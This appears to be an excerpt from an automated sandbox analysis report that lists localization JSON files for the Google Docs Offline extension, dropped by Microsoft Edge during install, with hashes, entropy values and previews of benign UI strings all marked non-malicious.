                                SHA1:994B8C985DC1E161655D6E553146FB84D0030619
                                SHA-256:2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
                                SHA-512:D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\es_419\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):959
                                Entropy (8bit):4.570019855018913
                                Encrypted:false
                                SSDEEP:
                                MD5:535331F8FB98894877811B14994FEA9D
                                SHA1:42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
                                SHA-256:90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
                                SHA-512:2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\et\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):968
                                Entropy (8bit):4.633956349931516
                                Encrypted:false
                                SSDEEP:
                                MD5:64204786E7A7C1ED9C241F1C59B81007
                                SHA1:586528E87CD670249A44FB9C54B1796E40CDB794
                                SHA-256:CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
                                SHA-512:44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\eu\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):838
                                Entropy (8bit):4.4975520913636595
                                Encrypted:false
                                SSDEEP:
                                MD5:29A1DA4ACB4C9D04F080BB101E204E93
                                SHA1:2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
                                SHA-256:A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
                                SHA-512:B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\fa\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1305
                                Entropy (8bit):4.673517697192589
                                Encrypted:false
                                SSDEEP:
                                MD5:097F3BA8DE41A0AAF436C783DCFE7EF3
                                SHA1:986B8CABD794E08C7AD41F0F35C93E4824AC84DF
                                SHA-256:7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
                                SHA-512:8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\fi\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):911
                                Entropy (8bit):4.6294343834070935
                                Encrypted:false
                                SSDEEP:
                                MD5:B38CBD6C2C5BFAA6EE252D573A0B12A1
                                SHA1:2E490D5A4942D2455C3E751F96BD9960F93C4B60
                                SHA-256:2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
                                SHA-512:6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\fil\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):939
                                Entropy (8bit):4.451724169062555
                                Encrypted:false
                                SSDEEP:
                                MD5:FCEA43D62605860FFF41BE26BAD80169
                                SHA1:F25C2CE893D65666CC46EA267E3D1AA080A25F5B
                                SHA-256:F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
                                SHA-512:F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\fr\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):977
                                Entropy (8bit):4.622066056638277
                                Encrypted:false
                                SSDEEP:
                                MD5:A58C0EEBD5DC6BB5D91DAF923BD3A2AA
                                SHA1:F169870EEED333363950D0BCD5A46D712231E2AE
                                SHA-256:0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
                                SHA-512:B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\fr_CA\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):972
                                Entropy (8bit):4.621319511196614
                                Encrypted:false
                                SSDEEP:
                                MD5:6CAC04BDCC09034981B4AB567B00C296
                                SHA1:84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
                                SHA-256:4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
                                SHA-512:160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\gl\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):990
                                Entropy (8bit):4.497202347098541
                                Encrypted:false
                                SSDEEP:
                                MD5:6BAAFEE2F718BEFBC7CD58A04CCC6C92
                                SHA1:CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
                                SHA-256:0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
                                SHA-512:3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\gu\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1658
                                Entropy (8bit):4.294833932445159
                                Encrypted:false
                                SSDEEP:
                                MD5:BC7E1D09028B085B74CB4E04D8A90814
                                SHA1:E28B2919F000B41B41209E56B7BF3A4448456CFE
                                SHA-256:FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
                                SHA-512:040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\hi\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1672
                                Entropy (8bit):4.314484457325167
                                Encrypted:false
                                SSDEEP:
                                MD5:98A7FC3E2E05AFFFC1CFE4A029F47476
                                SHA1:A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
                                SHA-256:D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
                                SHA-512:457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\hr\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):935
                                Entropy (8bit):4.6369398601609735
                                Encrypted:false
                                SSDEEP:
                                MD5:25CDFF9D60C5FC4740A48EF9804BF5C7
                                SHA1:4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
                                SHA-256:73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
                                SHA-512:EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\hu\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):1065
                                Entropy (8bit):4.816501737523951
                                Encrypted:false
                                SSDEEP:
                                MD5:8930A51E3ACE3DD897C9E61A2AEA1D02
                                SHA1:4108506500C68C054BA03310C49FA5B8EE246EA4
                                SHA-256:958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
                                SHA-512:126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\hy\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):2771
                                Entropy (8bit):3.7629875118570055
                                Encrypted:false
                                SSDEEP:
                                MD5:55DE859AD778E0AA9D950EF505B29DA9
                                SHA1:4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
                                SHA-256:0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
                                SHA-512:EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\id\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):858
                                Entropy (8bit):4.474411340525479
                                Encrypted:false
                                SSDEEP:
                                MD5:34D6EE258AF9429465AE6A078C2FB1F5
                                SHA1:612CAE151984449A4346A66C0A0DF4235D64D932
                                SHA-256:E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
                                SHA-512:20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\is\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):954
                                Entropy (8bit):4.631887382471946
                                Encrypted:false
                                SSDEEP:
                                MD5:1F565FB1C549B18AF8BBFED8DECD5D94
                                SHA1:B57F4BDAE06FF3DFC1EB3E56B6F2F204D6F63638
                                SHA-256:E16325D1A641EF7421F2BAFCD6433D53543C89D498DD96419B03CBA60B9C7D60
                                SHA-512:A60B8E042A9BCDCC136B87948E9924A0B24D67C6CA9803904B876F162A0AD82B9619F1316BE9FF107DD143B44F7E6F5DF604ABFE00818DEB40A7D62917CDA69F
                                Malicious:false
                                Reputation:unknown
                                Preview:{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\it\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):899
                                Entropy (8bit):4.474743599345443
                                Encrypted:false
                                SSDEEP:
                                MD5:0D82B734EF045D5FE7AA680B6A12E711
                                SHA1:BD04F181E4EE09F02CD53161DCABCEF902423092
                                SHA-256:F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
                                SHA-512:01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
                                Malicious:false
                                Reputation:unknown
                                Preview:{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

                                C:\Users\user\AppData\Local\Temp\scoped_dir7360_160856135\CRX_INSTALL\_locales\iw\messages.json

                                Download File
                                Process:C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                File Type:JSON data
                                Category:dropped
                                Size (bytes):2230
                                Entropy (8bit):3.8239097369647634
                                Encrypted:false
                                SSDEEP:
                                MD5:26B1533C0852EE4661EC1A27BD87D6BF
                                SHA1:18234E3ABAF702DF9330552780C2F33B83A1188A
                                SHA-256:BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
                                SHA-512:450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
                                Malicious:false
                                Reputation:unknown
